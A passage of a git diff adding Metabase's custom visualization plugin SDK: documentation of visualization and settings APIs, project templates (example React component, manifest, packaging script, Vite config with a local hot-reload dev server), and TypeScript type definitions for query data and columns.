+| `id` | `string` | Unique identifier. Must match `name` in `metabase-plugin.json`. |
+| `getName()` | `() => string` | Display name shown in the chart type picker. |
+| `minSize` | `{ width, height }` | Minimum dashboard grid size. |
+| `defaultSize` | `{ width, height }` | Default dashboard grid size. |
+| `noHeader` | `boolean` | When `true`, hides the default card title/description header. |
+| `canSavePng` | `boolean` | Set to `false` to disable PNG export for this visualization. |
+| `checkRenderable` | `(series, settings) => void` | Throw here to signal the viz cannot render with the current data or settings. Metabase shows the error message to the user. |
+| `settings` | `Record<string, SettingDefinition>` | Map of setting definitions created by `defineSetting()`. |
+| `VisualizationComponent` | `React.ComponentType` | The interactive React component for dashboard/question rendering. |
+
+### VisualizationComponent props
+
+| Prop | Type | Description |
+| ------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------- |
+| `series` | `Series[]` | Query results (rows + column metadata). |
+| `settings` | `CustomVisualizationSettings<TSettings>` | Resolved visualization settings. |
+| `width` | `number \| null` | Container width in pixels (`null` until first measure — render `null` to avoid a flash). |
+| `height` | `number \| null` | Container height in pixels (`null` until first measure). |
+| `colorScheme` | `"light" \| "dark"` | Current Metabase color scheme. |
+| `onClick` | `(clickObject) => void` | Call to trigger drill-through actions on a data point. |
+| `onHover` | `(hoverObject?) => void` | Call to show a tooltip on a data point. |
+
+## Visualization Settings
+
+Define settings with the `defineSetting()` helper. Each setting appears in the visualization settings sidebar.
+
+```tsx
+settings: {
+ threshold: defineSetting({
+ id: "threshold",
+ title: "Threshold",
+ section: "Display",
+ widget: "number",
+ getDefault: () => 0,
+ getProps: () => ({
+ placeholder: "Enter threshold",
+ options: { isNonNegative: true },
+ }),
+ }),
+},
+```
+
+### Setting definition properties
+
+| Property | Description |
+| ------------------------------ | ------------------------------------------------------------------------------------ |
+| `id` | Unique key, must match the key in `Settings` type. |
+| `title` | Label shown in the sidebar. |
+| `section` | Top-level section (e.g. `"Data"`, `"Display"`, `"Axes"`). |
+| `group` | Sub-heading within a section for grouping related settings. |
+| `index` | Display order within a group. |
+| `inline` | When `true`, renders the widget on the same line as `title` (useful for `"toggle"`). |
+| `widget` | Built-in widget name (see below). |
+| `getDefault(series, settings)` | Computes the default value when none is stored. |
+| `getValue(series, settings)` | Always-computed value — overrides stored value on every render. |
+| `getProps(series, settings)` | Returns widget-specific props. |
+| `isValid(series, settings)` | Return `false` to discard a stored value and fall back to `getDefault`. |
+| `readDependencies` | Setting IDs that must resolve before this one. |
+| `writeDependencies` | Setting IDs whose current values are persisted when this setting changes. |
+| `eraseDependencies` | Setting IDs reset to `null` when this setting changes. |
+| `persistDefault` | When `true`, writes the computed default to stored settings on first render. |
+
+### Built-in widgets
+
+| Widget | `getProps()` return type | Description |
+| -------------------- | -------------------------------------------------------------------------- | ------------------------ |
+| `"input"` | `{ placeholder? }` | Text input |
+| `"number"` | `{ placeholder?, options?: { isInteger?, isNonNegative? } }` | Numeric input |
+| `"toggle"` | _(none — omit `getProps`)_ | Boolean toggle |
+| `"radio"` | `{ options: { name, value }[] }` | Radio button group |
+| `"select"` | `{ options: { name, value }[], placeholder?, placeholderNoOptions? }` | Dropdown |
+| `"segmentedControl"` | `{ options: { name, value }[] }` | Segmented button control |
+| `"color"` | `{ title? }` | Color picker |
+| `"multiselect"` | `{ options: { label, value }[], placeholder?, placeholderNoOptions? }` | Multi-select dropdown |
+| `"field"` | `{ columns, options: { name, value }[], showColumnSetting? }` | Single column picker |
+| `"fields"` | `{ columns, options: { name, value }[], addAnother?, showColumnSetting? }` | Multi-column picker |
+
+---
+
+## Using Assets
+
+1. Declare assets in `metabase-plugin.json` under `"assets"` (images and JSON files only).
+2. Place files in `public/assets/` during development — they're copied to `dist/assets/` on build.
+3. Reference them in code using `getAssetUrl("filename.png")`.
+
+```tsx
+const createVisualization: CreateCustomVisualization<Settings> = ({
+ getAssetUrl,
+}) => {
+ // ...
+ return <img src={getAssetUrl("my-image.png")} />;
+};
+```
+
+`getAssetUrl()` returns the correct URL in both interactive rendering and development mode.
+
+> **Note:** The plugin icon is declared separately as `"icon"` in the manifest and is served automatically — do not add it to `"assets"`.
+
+---
+
+## Visualization Icon
+
+The icon appears in the chart type picker and elsewhere in the Metabase UI.
+
+- Declared via `"icon"` in `metabase-plugin.json`.
+- Default location: `public/assets/icon.svg`.
+- **Use `currentColor`** for fill/stroke so the icon adapts to light and dark themes.
+
+```svg
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+ <path d="..." stroke="currentColor" stroke-width="1.5" stroke-linecap="round"/>
+</svg>
+```
+
+You can also use Metabase CSS variables inside inline SVG for more control:
+
+```svg
+<path fill="var(--mb-color-brand)" .../>
+```
+
+Keep the icon **simple and monochromatic** — avoid gradients and multiple colors.
+
+---
+
+## Static Visualizations (Email / Slack)
+
+Custom visualizations are not rendered in emails or Slack messages. In those contexts rendering falls back to a default visualization for the underlying query.
diff --git a/enterprise/frontend/src/custom-viz/src/templates/dev-server-landing.html b/enterprise/frontend/src/custom-viz/src/templates/dev-server-landing.html
new file mode 100644
index 00000000000..e0b56914247
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/templates/dev-server-landing.html
@@ -0,0 +1,58 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+ <meta charset="UTF-8">
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
+ <title>Custom Visualization Dev Server</title>
+ <style>
+ * { margin: 0; padding: 0; box-sizing: border-box; }
+ body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; background: #f8f9fa; color: #2e353b; padding: 40px 20px; line-height: 1.6; }
+ .container { max-width: 640px; margin: 0 auto; }
+ h1 { font-size: 24px; margin-bottom: 8px; }
+ .subtitle { color: #696e7b; margin-bottom: 32px; }
+ .status { display: inline-flex; align-items: center; gap: 8px; background: #e6f7ee; color: #067d4a; padding: 6px 14px; border-radius: 20px; font-size: 13px; font-weight: 600; margin-bottom: 32px; }
+ .status::before { content: ""; width: 8px; height: 8px; background: #067d4a; border-radius: 50%; }
+ .card { background: #fff; border: 1px solid #e0e4e8; border-radius: 8px; padding: 24px; margin-bottom: 24px; }
+ .card h2 { font-size: 16px; margin-bottom: 16px; }
+ .steps { list-style: none; counter-reset: steps; }
+ .steps li { counter-increment: steps; padding: 8px 0; padding-left: 32px; position: relative; }
+ .steps li::before { content: counter(steps); position: absolute; left: 0; width: 22px; height: 22px; background: #edf2f5; border-radius: 50%; text-align: center; font-size: 12px; line-height: 22px; font-weight: 600; color: #696e7b; }
+ code { background: #edf2f5; padding: 2px 6px; border-radius: 4px; font-size: 13px; font-family: "SF Mono", "Fira Code", monospace; }
+ .url { display: block; background: #2e353b; color: #9decbc; padding: 12px 16px; border-radius: 6px; font-family: "SF Mono", "Fira Code", monospace; font-size: 14px; margin-top: 12px; user-select: all; }
+ .note { font-size: 13px; color: #696e7b; margin-top: 12px; }
+ </style>
+</head>
+<body>
+ <div class="container">
+ <h1>Custom Visualization Dev Server</h1>
+ <p class="subtitle">Your dev server is running and ready to sync with Metabase.</p>
+ <div class="status">Dev server running</div>
+
+ <div class="card">
+ <h2>Connect to your Metabase instance</h2>
+ <ol class="steps">
+ <li>Start Metabase locally with <code>MB_CUSTOM_VIZ_PLUGIN_DEV_MODE_ENABLED=true</code> environment variable to enable dev endpoints and dev admin page</li>
+ <li>In your local <strong>Metabase</strong> instance go to <strong>Admin &rarr; Custom visualizations &rarr; Development</strong></li>
+ <li>Set the <strong>Dev server URL</strong> field to:
+ <span class="url" id="dev-url"></span>
+ </li>
+ <li>Open a question and change its visualization type &mdash; your visualization will be available in <strong>Custom visualizations</strong> section in the sidebar</li>
+ </ol>
+ <p class="note">Changes you make to your source code will automatically reload in Metabase.</p>
+ </div>
+
+ <div class="card">
+ <h2>How it works</h2>
+ <ol class="steps">
+ <li>This server serves your built bundle from <code>dist/</code></li>
+ <li>Metabase fetches <code>/index.js</code> and assets from this server</li>
+ <li>An SSE connection at <code>/__sse</code> notifies Metabase when you rebuild</li>
+ <li>Metabase re-fetches and re-registers your visualization automatically</li>
+ </ol>
+ </div>
+ </div>
+ <script>
+ document.getElementById("dev-url").textContent = window.location.origin;
+ </script>
+</body>
+</html>
diff --git a/enterprise/frontend/src/custom-viz/src/templates/icon.svg b/enterprise/frontend/src/custom-viz/src/templates/icon.svg
new file mode 100644
index 00000000000..41d00625565
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/templates/icon.svg
@@ -0,0 +1,3 @@
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+ <path d="M1.79978 6.86661C1.65041 7.01583 1.53192 7.19302 1.45107 7.38806C1.37023 7.58309 1.32861 7.79215 1.32861 8.00328C1.32861 8.21441 1.37023 8.42347 1.45107 8.61851C1.53192 8.81354 1.65041 8.99073 1.79978 9.13995L6.85978 14.1999C7.00899 14.3493 7.18618 14.4678 7.38122 14.5487C7.57626 14.6295 7.78531 14.6711 7.99644 14.6711C8.20757 14.6711 8.41663 14.6295 8.61167 14.5487C8.80671 14.4678 8.9839 14.3493 9.13311 14.1999L14.1931 9.13995C14.3425 8.99073 14.461 8.81354 14.5418 8.61851C14.6227 8.42347 14.6643 8.21441 14.6643 8.00328C14.6643 7.79215 14.6227 7.58309 14.5418 7.38806C14.461 7.19302 14.3425 7.01583 14.1931 6.86661L9.13311 1.80661C8.9839 1.65725 8.80671 1.53875 8.61167 1.45791C8.41663 1.37706 8.20757 1.33545 7.99644 1.33545C7.78531 1.33545 7.57626 1.37706 7.38122 1.45791C7.18618 1.53875 7.00899 1.65725 6.85978 1.80661L1.79978 6.86661Z" stroke="black" stroke-width="1.33333" stroke-linecap="round" stroke-linejoin="round"/>
+</svg>
diff --git a/enterprise/frontend/src/custom-viz/src/templates/index.tsx b/enterprise/frontend/src/custom-viz/src/templates/index.tsx
new file mode 100644
index 00000000000..73dfecfdbb4
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/templates/index.tsx
@@ -0,0 +1,114 @@
+import {
+ type CreateCustomVisualization,
+ type CustomVisualizationProps,
+ defineConfig,
+} from "../";
+
+type Settings = {
+ threshold?: number;
+};
+
+const createVisualization: CreateCustomVisualization<Settings> = ({
+ defineSetting,
+ getAssetUrl,
+}) => {
+ const VisualizationComponent = ({
+ height,
+ series,
+ settings,
+ width,
+ }: CustomVisualizationProps<Settings>) => {
+ const { threshold } = settings;
+ const value = series[0].data.rows[0][0];
+
+ if (!height || !width) {
+ return null;
+ }
+
+ if (typeof value !== "number" || typeof threshold !== "number") {
+ throw new Error("Value and threshold need to be numbers");
+ }
+
+ const meetsThreshold = value >= threshold;
+ const finalHeight = Math.min(height * 0.8, 256);
+
+ return (
+ <div
+ style={{
+ display: "flex",
+ justifyContent: "center",
+ alignItems: "center",
+ height: "100%",
+ }}
+ >
+ <img
+ alt={meetsThreshold ? "Above threshold" : "Below threshold"}
+ src={
+ meetsThreshold
+ ? getAssetUrl("thumbs-up.png")
+ : getAssetUrl("thumbs-down.png")
+ }
+ style={{
+ height: finalHeight,
+ width: "auto",
+ }}
+ />
+ </div>
+ );
+ };
+
+ return defineConfig<Settings>({
+ id: "__CUSTOM_VIZ_NAME__",
+ getName: () => "__CUSTOM_VIZ_DISPLAY_NAME__",
+ minSize: { width: 2, height: 2 },
+ checkRenderable(series, settings) {
+ if (series.length !== 1) {
+ throw new Error("Only 1 series is supported");
+ }
+
+ const [
+ {
+ data: { cols, rows },
+ },
+ ] = series;
+
+ if (cols.length !== 1) {
+ throw new Error("Query results should only have 1 column");
+ }
+
+ if (rows.length !== 1) {
+ throw new Error("Query results should only have 1 row");
+ }
+
+ if (typeof rows[0][0] !== "number") {
+ throw new Error("Result is not a number");
+ }
+
+ if (typeof settings.threshold !== "number") {
+ throw new Error("Threshold setting is not set");
+ }
+ },
+ settings: {
+ threshold: defineSetting({
+ id: "threshold",
+ title: "Threshold",
+ widget: "number",
+ getDefault() {
+ return 0;
+ },
+ getProps() {
+ return {
+ options: {
+ isInteger: false,
+ isNonNegative: false,
+ },
+ placeholder: "Set threshold",
+ };
+ },
+ }),
+ },
+ VisualizationComponent,
+ });
+};
+
+export default createVisualization;
diff --git a/enterprise/frontend/src/custom-viz/src/templates/metabase-plugin.json b/enterprise/frontend/src/custom-viz/src/templates/metabase-plugin.json
new file mode 100644
index 00000000000..2cc8059a22b
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/templates/metabase-plugin.json
@@ -0,0 +1,8 @@
+{
+ "name": "__CUSTOM_VIZ_NAME__",
+ "icon": "icon.svg",
+ "assets": ["thumbs-up.png", "thumbs-down.png"],
+ "metabase": {
+ "version": ">=1.60.0"
+ }
+}
diff --git a/enterprise/frontend/src/custom-viz/src/templates/pack.mjs b/enterprise/frontend/src/custom-viz/src/templates/pack.mjs
new file mode 100644
index 00000000000..86741844cba
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/templates/pack.mjs
@@ -0,0 +1,89 @@
+/* global Buffer, console */
+// Packages metabase-plugin.json + dist/ into <name>-<version>.tgz at the
+// project root, ready to upload via Admin → Custom visualizations → Add.
+//
+// Layout (manifest at root, dist/index.js, dist/assets/*) matches what the
+// Metabase backend expects.
+import { existsSync, readFileSync, writeFileSync } from "node:fs";
+import { dirname, resolve } from "node:path";
+import { fileURLToPath } from "node:url";
+import { gzipSync } from "node:zlib";
+
+import { pack as tarPack } from "tar-stream";
+
+// Limits enforced by the Metabase backend on uploaded plugin bundles.
+const MAX_COMPRESSED_BYTES = 5 * 1024 * 1024;
+const MAX_UNCOMPRESSED_BYTES = 25 * 1024 * 1024;
+
+const projectRoot = dirname(fileURLToPath(import.meta.url));
+
+const manifestPath = resolve(projectRoot, "metabase-plugin.json");
+if (!existsSync(manifestPath)) {
+ throw new Error("metabase-plugin.json not found at the project root.");
+}
+const manifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
+const name = manifest.name?.trim();
+if (!name) {
+ throw new Error('metabase-plugin.json is missing a "name" field.');
+}
+
+const bundlePath = resolve(projectRoot, "dist/index.js");
+if (!existsSync(bundlePath)) {
+ throw new Error('dist/index.js not found. Run "npm run build" first.');
+}
+
+const pkg = JSON.parse(
+ readFileSync(resolve(projectRoot, "package.json"), "utf-8"),
+);
+const version = pkg.version?.trim();
+if (!version) {
+ throw new Error('package.json is missing a "version" field.');
+}
+
+const assetNames = Array.from(
+ new Set([
+ ...(manifest.icon ? [manifest.icon] : []),
+ ...(manifest.assets ?? []),
+ ]),
+);
+
+const tar = tarPack();
+const mtime = new Date();
+const addEntry = (path, content) =>
+ tar.entry({ name: path, size: content.length, mtime, mode: 0o644 }, content);
+
+addEntry("metabase-plugin.json", readFileSync(manifestPath));
+addEntry("dist/index.js", readFileSync(bundlePath));
+for (const assetName of assetNames) {
+ const assetPath = resolve(projectRoot, "dist/assets", assetName);
+ if (!existsSync(assetPath)) {
+ throw new Error(
+ `Asset "${assetName}" declared in metabase-plugin.json but missing from dist/assets/.`,
+ );
+ }
+ addEntry(`dist/assets/${assetName}`, readFileSync(assetPath));
+}
+tar.finalize();
+
+const tarChunks = [];
+for await (const chunk of tar) {
+ tarChunks.push(chunk);
+}
+const tarBuffer = Buffer.concat(tarChunks);
+const tgz = gzipSync(tarBuffer);
+
+const formatMiB = (bytes) => `${(bytes / 1024 / 1024).toFixed(2)} MiB`;
+if (tarBuffer.length > MAX_UNCOMPRESSED_BYTES) {
+ throw new Error(
+ `Uncompressed bundle is ${formatMiB(tarBuffer.length)}, exceeds limit of ${formatMiB(MAX_UNCOMPRESSED_BYTES)}.`,
+ );
+}
+if (tgz.length > MAX_COMPRESSED_BYTES) {
+ throw new Error(
+ `Compressed bundle is ${formatMiB(tgz.length)}, exceeds limit of ${formatMiB(MAX_COMPRESSED_BYTES)}.`,
+ );
+}
+
+const outPath = resolve(projectRoot, `${name}-${version}.tgz`);
+writeFileSync(outPath, tgz);
+console.log(`Packed ${outPath} (${(tgz.length / 1024).toFixed(1)} KiB)`);
diff --git a/enterprise/frontend/src/custom-viz/src/templates/package.json b/enterprise/frontend/src/custom-viz/src/templates/package.json
new file mode 100644
index 00000000000..8e3a7ba382d
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/templates/package.json
@@ -0,0 +1,25 @@
+{
+ "name": "__CUSTOM_VIZ_NAME__",
+ "version": "0.0.1",
+ "private": true,
+ "type": "module",
+ "scripts": {
+ "build": "vite build && node pack.mjs",
+ "dev": "vite build --watch",
+ "type-check": "tsc --noEmit"
+ },
+ "dependencies": {
+ "react": "18.2.0",
+ "react-dom": "18.2.0"
+ },
+ "devDependencies": {
+ "@metabase/custom-viz": "__CUSTOM_VIZ_VERSION__",
+ "@types/react": "18.3.3",
+ "@types/react-dom": "18.3.0",
+ "@types/tar-stream": "3.1.4",
+ "@vitejs/plugin-react": "5.2.0",
+ "tar-stream": "3.1.8",
+ "typescript": "5.9.3",
+ "vite": "8.0.0"
+ }
+}
diff --git a/enterprise/frontend/src/custom-viz/src/templates/thumbs-down.png b/enterprise/frontend/src/custom-viz/src/templates/thumbs-down.png
new file mode 100644
index 00000000000..2ca42c70ee7
Binary files /dev/null and b/enterprise/frontend/src/custom-viz/src/templates/thumbs-down.png differ
diff --git a/enterprise/frontend/src/custom-viz/src/templates/thumbs-up.png b/enterprise/frontend/src/custom-viz/src/templates/thumbs-up.png
new file mode 100644
index 00000000000..ec27c0ca206
Binary files /dev/null and b/enterprise/frontend/src/custom-viz/src/templates/thumbs-up.png differ
diff --git a/enterprise/frontend/src/custom-viz/src/templates/tsconfig.json b/enterprise/frontend/src/custom-viz/src/templates/tsconfig.json
new file mode 100644
index 00000000000..29fd987d9be
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/templates/tsconfig.json
@@ -0,0 +1,14 @@
+{
+ "compilerOptions": {
+ "target": "ES2020",
+ "module": "ESNext",
+ "moduleResolution": "bundler",
+ "jsx": "react-jsx",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "outDir": "dist",
+ "declaration": true
+ },
+ "include": ["src"]
+}
diff --git a/enterprise/frontend/src/custom-viz/src/templates/vite.config.ts b/enterprise/frontend/src/custom-viz/src/templates/vite.config.ts
new file mode 100644
index 00000000000..919fd3b90d2
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/templates/vite.config.ts
@@ -0,0 +1,203 @@
+/* eslint-disable no-console, import/no-default-export, @typescript-eslint/no-require-imports */
+import { cpSync, existsSync, readFileSync, watch } from "fs";
+import { type ServerResponse, createServer } from "http";
+import { createRequire } from "module";
+import { resolve } from "path";
+
+import react from "@vitejs/plugin-react";
+import { defineConfig } from "vite";
+
+const __require = createRequire(import.meta.url);
+
+/**
+ * Vite plugin that copies metabase-plugin.json to dist/ after the build.
+ */
+function metabaseCopyManifest() {
+ return {
+ name: "metabase-copy-manifest",
+ closeBundle() {
+ const manifestSrc = resolve(__dirname, "metabase-plugin.json");
+ if (existsSync(manifestSrc)) {
+ cpSync(manifestSrc, resolve(__dirname, "dist/metabase-plugin.json"));
+ } else {
+ throw new Error("metabase-plugin.json missing");
+ }
+ },
+ };
+}
+
+const DEV_PORT = 5174;
+
+/**
+ * Vite plugin that starts a dev server serving both static files from dist/
+ * and an SSE endpoint at /__sse for hot-reload notifications.
+ * Metabase's frontend connects to /__sse on the same origin as dev_bundle_url.
+ */
+function metabaseDevServer() {
+ const clients = new Set<ServerResponse>();
+ let landingPageHtml: string | undefined;
+ let server: ReturnType<typeof createServer> | null = null;
+
+ return {
+ name: "metabase-dev-server",
+
+ buildStart() {
+ if (server) {
+ return;
+ }
+
+ const distDir = resolve(__dirname, "dist");
+
+ server = createServer((req, res) => {
+ const url = req.url ?? "/";
+
+ // SSE endpoint for hot-reload
+ if (url === "/__sse") {
+ res.writeHead(200, {
+ "Content-Type": "text/event-stream",
+ "Cache-Control": "no-cache",
+ Connection: "keep-alive",
+ "Access-Control-Allow-Origin": "*",
+ });
+ clients.add(res);
+ req.on("close", () => clients.delete(res));
+ return;
+ }
+
+ // Landing page with sync instructions
+ if (url === "/") {
+ if (!landingPageHtml) {
+ try {
+ const landingPath = __require.resolve(
+ "@metabase/custom-viz/dev-server-landing.html",
+ );
+ landingPageHtml = readFileSync(landingPath, "utf-8");
+ } catch {
+ landingPageHtml =
+ "<html><body><p>Custom viz dev server running.</p></body></html>";
+ }
+ }
+ res.writeHead(200, { "Content-Type": "text/html" });
+ res.end(landingPageHtml);
+ return;
+ }
+
+ // CORS headers for all static responses
+ res.setHeader("Access-Control-Allow-Origin", "*");
+
+ // Serve static files from dist/
+ const { readFile, stat } = require("fs");
+ const { join, extname } = require("path");
+
+ const filePath =
+ url === "/" ? join(distDir, "index.html") : join(distDir, url);
+
+ // Prevent directory traversal
+ if (!filePath.startsWith(distDir)) {
+ res.writeHead(403);
+ res.end("Forbidden");
+ return;
+ }
+
+ stat(filePath, (err: NodeJS.ErrnoException | null) => {
+ if (err) {
+ res.writeHead(404);
+ res.end("Not found");
+ return;
+ }
+
+ const mimeTypes: Record<string, string> = {
+ ".html": "text/html",
+ ".js": "application/javascript",
+ ".css": "text/css",
+ ".json": "application/json",
+ ".png": "image/png",
+ ".jpg": "image/jpeg",
+ ".svg": "image/svg+xml",
+ ".ico": "image/x-icon",
+ };
+ const contentType =
+ mimeTypes[extname(filePath)] ?? "application/octet-stream";
+
+ readFile(
+ filePath,
+ (readErr: NodeJS.ErrnoException | null, data: Buffer) => {
+ if (readErr) {
+ res.writeHead(500);
+ res.end("Internal server error");
+ return;
+ }
+ res.writeHead(200, { "Content-Type": contentType });
+ res.end(data);
+ },
+ );
+ });
+ });
+
+ server.listen(DEV_PORT, () => {
+ console.log(
+ `[custom-viz] Dev server listening on http://localhost:${DEV_PORT}`,
+ );
+ console.log(
+ `[custom-viz] Open http://localhost:${DEV_PORT} for setup instructions`,
+ );
+ });
+
+ // Watch public/assets/ for changes — copy to dist/assets/ and notify
+ const assetsDir = resolve(__dirname, "public/assets");
+ if (existsSync(assetsDir)) {
+ watch(assetsDir, { recursive: true }, (_event, filename) => {
+ if (!filename) {
+ return;
+ }
+ cpSync(
+ resolve(assetsDir, filename),
+ resolve(__dirname, "dist/assets", filename),
+ );
+ for (const client of clients) {
+ client.write("data: reload\n\n");
+ }
+ console.log(
+ `[custom-viz] Asset changed: ${filename}, notified ${clients.size} client(s)`,
+ );
+ });
+ }
+ },
+
+ closeBundle() {
+ for (const client of clients) {
+ client.write("data: reload\n\n");
+ }
+ console.log(
+ `[custom-viz] Build complete, notified ${clients.size} client(s)`,
+ );
+ },
+ };
+}
+
+const isWatch = process.argv.includes("--watch");
+
+export default defineConfig({
+ plugins: [
+ react(),
+ metabaseCopyManifest(),
+ ...(isWatch ? [metabaseDevServer()] : []),
+ ],
+ resolve: {
+ dedupe: ["react", "react-dom", "react/jsx-runtime"],
+ },
+ publicDir: "public",
+ define: {
+ "process.env.NODE_ENV": JSON.stringify("production"),
+ "process.env": JSON.stringify({}),
+ },
+ build: {
+ outDir: "dist",
+ lib: {
+ entry: resolve(__dirname, "src/index.tsx"),
+ formats: ["iife"],
+ fileName: () => "index.js",
+ name: "__customVizPlugin__",
+ },
+ },
+});
diff --git a/enterprise/frontend/src/custom-viz/src/types/column-types.ts b/enterprise/frontend/src/custom-viz/src/types/column-types.ts
new file mode 100644
index 00000000000..4f91c49b8e9
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/types/column-types.ts
@@ -0,0 +1,42 @@
+import type { Column } from "./data";
+
+export type ColumnPredicate = (column: Column | null | undefined) => boolean;
+
+export interface ColumnTypes {
+ isDate: ColumnPredicate;
+ isNumeric: ColumnPredicate;
+ isInteger: ColumnPredicate;
+ isBoolean: ColumnPredicate;
+ isString: ColumnPredicate;
+ isStringLike: ColumnPredicate;
+ isSummable: ColumnPredicate;
+ isNumericBaseType: ColumnPredicate;
+ isDateWithoutTime: ColumnPredicate;
+ isNumber: ColumnPredicate;
+ isFloat: ColumnPredicate;
+ isTime: ColumnPredicate;
+ isFK: ColumnPredicate;
+ isPK: ColumnPredicate;
+ isEntityName: ColumnPredicate;
+ isTitle: ColumnPredicate;
+ isProduct: ColumnPredicate;
+ isSource: ColumnPredicate;
+ isAddress: ColumnPredicate;
+ isScore: ColumnPredicate;
+ isQuantity: ColumnPredicate;
+ isCategory: ColumnPredicate;
+ isAny: ColumnPredicate;
+ isState: ColumnPredicate;
+ isCountry: ColumnPredicate;
+ isCoordinate: ColumnPredicate;
+ isLatitude: ColumnPredicate;
+ isLongitude: ColumnPredicate;
+ isCurrency: ColumnPredicate;
+ isPercentage: ColumnPredicate;
+ isID: ColumnPredicate;
+ isURL: ColumnPredicate;
+ isEmail: ColumnPredicate;
+ isAvatarURL: ColumnPredicate;
+ isImageURL: ColumnPredicate;
+ hasLatitudeAndLongitudeColumns: (cols: Column[]) => boolean;
+}
diff --git a/enterprise/frontend/src/custom-viz/src/types/data.ts b/enterprise/frontend/src/custom-viz/src/types/data.ts
new file mode 100644
index 00000000000..39a4cb7341a
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/types/data.ts
@@ -0,0 +1,110 @@
+import type { DateTimeUnit } from "./date-time";
+import type { FormatValueOptions } from "./format";
+
+export type RowValue = string | number | null | boolean | object;
+
+export type Row = RowValue[];
+
+export type DatasetData = {
+ rows: Row[];
+
+ cols: Column[];
+
+ /**
+ * How many results have been truncated. Present only when truncation occurred.
+ */
+ rows_truncated?: number;
+};
+
+export type DatasetError =
+ | string
+ | {
+ status: number; // HTTP status code
+ data?: string;
+ };
+
+export type SingleSeries = {
+ data: DatasetData;
+ error?: DatasetError;
+};
+
+export type Series = SingleSeries[];
+
+export type BinningInfo = {
+ binning_strategy?: "default" | "bin-width" | "num-bins";
+ bin_width?: number;
+ num_bins?: number;
+ max_value?: number;
+ min_value?: number;
+};
+
+export type ColumnId = number;
+
+export type Column = {
+ /**
+ * Metabase identifier.
+ */
+ id?: ColumnId;
+
+ /**
+ * Source of the column (e.g. "fields", "aggregation", "breakout").
+ */
+ source: string;
+
+ /**
+ * Name of the column in the database.
+ */
+ name: string;
+
+ /**
+ * Name of the column shown in the UI.
+ */
+ display_name: string;
+
+ /**
+ * Description of the column set in Metabase.
+ */
+ description?: string | null;
+
+ /**
+ * Base type of the column in Metabase type system.
+ */
+ base_type?: string;
+
+ /**
+ * Semantic type of the column in Metabase type system.
+ */
+ semantic_type?: string | null;
+
+ /**
+ * Effective type of the column in Metabase type system.
+ */
+ effective_type?: string;
+
+ /**
+ * If the column value has been remapped, this is a name of the column it's been remapped from.
+ */
+ remapped_from?: string;
+
+ /**
+ * If the column value has been remapped, this is a name of the column it's been remapped to.
+ */
+ remapped_to?: string;
+
+ /**
+ * Present if column represents date and/or time.
+ */
+ unit?: DateTimeUnit;
+
+ /**
+ * Present if column is binned.
+ */
+ binning_info?: BinningInfo | null;
+
+ /**
+ * Column's visualization settings set in Metabase.
+ */
+ settings?: ColumnVisualizationSettings;
+};
+
+export type ColumnVisualizationSettings = FormatValueOptions;
diff --git a/enterprise/frontend/src/custom-viz/src/types/date-time.ts b/enterprise/frontend/src/custom-viz/src/types/date-time.ts
new file mode 100644
index 00000000000..a6bed92c46e
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/types/date-time.ts
@@ -0,0 +1,34 @@
+export const dateTimeAbsoluteUnits = [
+ "minute",
+ "hour",
+ "day",
+ "week",
+ "month",
+ "quarter",
+ "year",
+] as const;
+
+export const dateTimeRelativeUnits = [
+ "minute-of-hour",
+ "hour-of-day",
+ "day-of-week",
+ "day-of-month",
+ "day-of-year",
+ "week-of-year",
+ "month-of-year",
+ "quarter-of-year",
+] as const;
+
+export const dateTimeUnits = [
+ ...dateTimeAbsoluteUnits,
+ ...dateTimeRelativeUnits,
+] as const;
+
+export type DateTimeAbsoluteUnit = (typeof dateTimeAbsoluteUnits)[number];
+
+export type DateTimeRelativeUnit = (typeof dateTimeRelativeUnits)[number];
+
+export type DateTimeUnit =
+ | "default"
+ | DateTimeAbsoluteUnit
+ | DateTimeRelativeUnit;
diff --git a/enterprise/frontend/src/custom-viz/src/types/format.ts b/enterprise/frontend/src/custom-viz/src/types/format.ts
new file mode 100644
index 00000000000..674638e8116
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/types/format.ts
@@ -0,0 +1,26 @@
+import type { Column, RowValue } from "./data";
+
+export type FormatValueOptions = {
+ column?: Column;
+ compact?: boolean;
+ currency?: string;
+ currency_style?: string;
+ date_format?: string;
+ date_style?: string;
+ date_separator?: string;
+ date_abbreviate?: boolean;
+ decimals?: number;
+ number_style?: string;
+ number_separators?: string;
+ prefix?: string;
+ suffix?: string;
+ scale?: number;
+ negativeInParentheses?: boolean;
+ time_enabled?: "minutes" | "milliseconds" | "seconds" | null;
+ time_style?: string;
+};
+
+export type FormatValue = (
+ value: RowValue,
+ options?: FormatValueOptions,
+) => string;
diff --git a/enterprise/frontend/src/custom-viz/src/types/index.ts b/enterprise/frontend/src/custom-viz/src/types/index.ts
new file mode 100644
index 00000000000..fd76ded9085
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/types/index.ts
@@ -0,0 +1,7 @@
+export * from "./column-types";
+export * from "./data";
+export * from "./date-time";
+export * from "./format";
+export * from "./measure-text";
+export * from "./viz";
+export * from "./viz-settings";
diff --git a/enterprise/frontend/src/custom-viz/src/types/measure-text.ts b/enterprise/frontend/src/custom-viz/src/types/measure-text.ts
new file mode 100644
index 00000000000..721f6714be0
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/types/measure-text.ts
@@ -0,0 +1,22 @@
+export type FontStyle = {
